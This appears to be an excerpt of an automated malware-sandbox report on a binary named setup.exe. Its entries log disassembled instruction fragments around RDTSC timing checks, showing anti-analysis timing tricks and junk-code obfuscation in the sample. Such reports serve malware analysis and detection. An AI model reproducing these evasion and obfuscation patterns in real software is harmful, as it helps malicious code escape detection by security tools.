Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A6311 second address: 5A631D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC16945A276h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A631D second address: 5A6329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FC169461A96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 610FF1 second address: 610FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 610FF5 second address: 611000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 611000 second address: 611006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 611006 second address: 61100D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61100D second address: 611015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 615CFA second address: 615D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461A9Ch 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FC169461A9Eh 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 615D18 second address: 615D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 615D20 second address: 615D25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 614F3B second address: 614F68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A287h 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FC16945A276h 0x0000000f jmp 00007FC16945A27Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 614F68 second address: 614FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007FC169461AA8h 0x00000013 jnc 00007FC169461A96h 0x00000019 pop edi 0x0000001a jmp 00007FC169461AA2h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 614FAE second address: 614FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 614FB4 second address: 614FBE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 614FBE second address: 614FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 615130 second address: 61513B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61513B second address: 615150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A27Ah 0x00000009 jc 00007FC16945A276h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 615426 second address: 61542A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6155AF second address: 6155B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6159F9 second address: 6159FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6159FF second address: 615A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FC16945A27Eh 0x0000000b pushad 0x0000000c jmp 00007FC16945A27Ah 0x00000011 push esi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 617282 second address: 61728D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61728D second address: 617291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61FB56 second address: 61FB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AB3A8 second address: 5AB3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A289h 0x00000009 jmp 00007FC16945A289h 0x0000000e jmp 00007FC16945A287h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007FC16945A276h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AB3FE second address: 5AB40A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AB40A second address: 5AB40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61E904 second address: 61E908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EA5A second address: 61EA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A283h 0x00000009 jg 00007FC16945A276h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EA78 second address: 61EA98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jbe 00007FC169461A96h 0x0000000b jp 00007FC169461A96h 0x00000011 jnl 00007FC169461A96h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EA98 second address: 61EAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FC16945A27Ah 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EAAF second address: 61EAB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EC22 second address: 61EC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EC26 second address: 61EC49 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC169461A96h 0x00000008 jmp 00007FC169461AA9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EF4C second address: 61EF54 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EF54 second address: 61EF5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EF5C second address: 61EF74 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC16945A276h 0x00000008 jl 00007FC16945A276h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007FC16945A276h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61EF74 second address: 61EF7E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC169461A96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61F0CC second address: 61F0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61F602 second address: 61F608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61F608 second address: 61F60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61F60C second address: 61F612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 61F612 second address: 61F62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FC16945A282h 0x0000000c jmp 00007FC16945A27Ch 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 628174 second address: 628179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 628179 second address: 628192 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC16945A27Bh 0x00000008 jp 00007FC16945A276h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 628192 second address: 628196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 626FD9 second address: 627019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC16945A281h 0x00000008 jmp 00007FC16945A285h 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007FC16945A276h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jl 00007FC16945A276h 0x0000001e jnp 00007FC16945A276h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 627019 second address: 62701D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EA4C8 second address: 5EA4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC16945A276h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EA73F second address: 5EA745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EAD0E second address: 5EAD21 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC16945A278h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EAFC6 second address: 5EAFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FC169461A9Bh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 jp 00007FC169461A9Ch 0x00000016 lea eax, dword ptr [ebp+1248EA70h] 0x0000001c sub edx, dword ptr [ebp+122D29EFh] 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A483F second address: 5A4852 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC16945A276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007FC16945A276h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62735D second address: 62737F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jp 00007FC169461A96h 0x0000000c jmp 00007FC169461AA4h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62760E second address: 627618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC16945A276h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 627618 second address: 62761C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62761C second address: 62763F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC16945A289h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62763F second address: 627649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC169461A96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 627649 second address: 62765F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC16945A27Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62765F second address: 627663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 627663 second address: 62766D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC16945A276h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 627D81 second address: 627D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62D5D7 second address: 62D5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC16945A276h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62C825 second address: 62C833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62C833 second address: 62C837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62C837 second address: 62C843 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62C843 second address: 62C847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62C847 second address: 62C856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC169461A96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62C856 second address: 62C85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62CDDE second address: 62CDED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 62CF3C second address: 62CF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 631178 second address: 63117C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63117C second address: 6311A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jo 00007FC16945A29Eh 0x0000000d pushad 0x0000000e jmp 00007FC16945A288h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63919E second address: 6391D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC169461AA1h 0x0000000b popad 0x0000000c push ecx 0x0000000d jmp 00007FC169461AA9h 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6391D3 second address: 6391DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6391DB second address: 6391DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 59DDD6 second address: 59DDDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 59DDDC second address: 59DDEE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b ja 00007FC169461A96h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63C952 second address: 63C956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63C956 second address: 63C95C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63CEC2 second address: 63CEC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63CEC6 second address: 63CEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FC169461A9Bh 0x00000011 jmp 00007FC169461A9Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 63D06D second address: 63D085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A284h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64373C second address: 64374C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 jnp 00007FC169461A9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 641FBD second address: 641FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 642158 second address: 64215E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64215E second address: 642173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A281h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6423D0 second address: 6423D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6423D6 second address: 6423DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6423DC second address: 642420 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007FC169461A96h 0x00000009 jmp 00007FC169461AA2h 0x0000000e pop esi 0x0000000f pushad 0x00000010 jmp 00007FC169461AA8h 0x00000015 jmp 00007FC169461A9Dh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 642420 second address: 642439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007FC16945A296h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC16945A27Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EA906 second address: 5EA90B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EA90B second address: 5EA98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FC16945A27Ch 0x0000000f pop edx 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FC16945A278h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b xor cl, 00000079h 0x0000002e mov ebx, dword ptr [ebp+1248EAAFh] 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FC16945A278h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e pushad 0x0000004f mov bh, ah 0x00000051 popad 0x00000052 add eax, ebx 0x00000054 mov edx, dword ptr [ebp+122D19DEh] 0x0000005a nop 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FC16945A284h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5EA98C second address: 5EAA1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC169461A9Ah 0x0000000f nop 0x00000010 pushad 0x00000011 xor dword ptr [ebp+1246A1FDh], edx 0x00000017 call 00007FC169461A9Ah 0x0000001c add edi, dword ptr [ebp+122D1D10h] 0x00000022 pop ebx 0x00000023 popad 0x00000024 push 00000004h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FC169461A98h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 jc 00007FC169461A99h 0x00000046 movsx edi, si 0x00000049 push edi 0x0000004a mov ch, bl 0x0000004c pop ecx 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 ja 00007FC169461AADh 0x00000056 rdtsc
